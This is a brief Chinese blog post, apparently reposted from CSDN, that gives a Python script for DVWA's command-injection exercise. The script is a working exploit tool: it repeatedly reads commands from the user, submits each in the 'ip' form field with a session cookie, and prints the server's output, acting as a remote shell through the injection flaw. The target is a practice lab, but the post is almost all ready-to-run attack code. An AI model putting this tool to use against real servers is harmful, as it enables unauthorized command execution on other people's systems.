DVWA命令执行简单脚本

import requests
from bs4 import BeautifulSoup

url = 'http://ip地址/dvwa/vulnerabilities/exec/'
def command_inject(command):
    Cookies = dict(security='low', PHPSESSID=' xxxxxxxx  ')

    payload = {
    
    
        "ip": command,
        "Submit": "Submit"
    }

    reponse = requests.post(url=url,cookies=Cookies,data=payload).text
    #实例化对象
    soup = BeautifulSoup(reponse,'lxml')
	#定位标签
    content_tag = soup.find_all(name='pre')
	#打印命令执行结果
    for content in content_tag:
        print(content.string)

while 1:

    cmd = input('quit->>退出\n输入执行命令:')
    if len(cmd) == 0:
        continue
    if cmd =='quit':
        break
    command_inject(cmd)




猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/113780125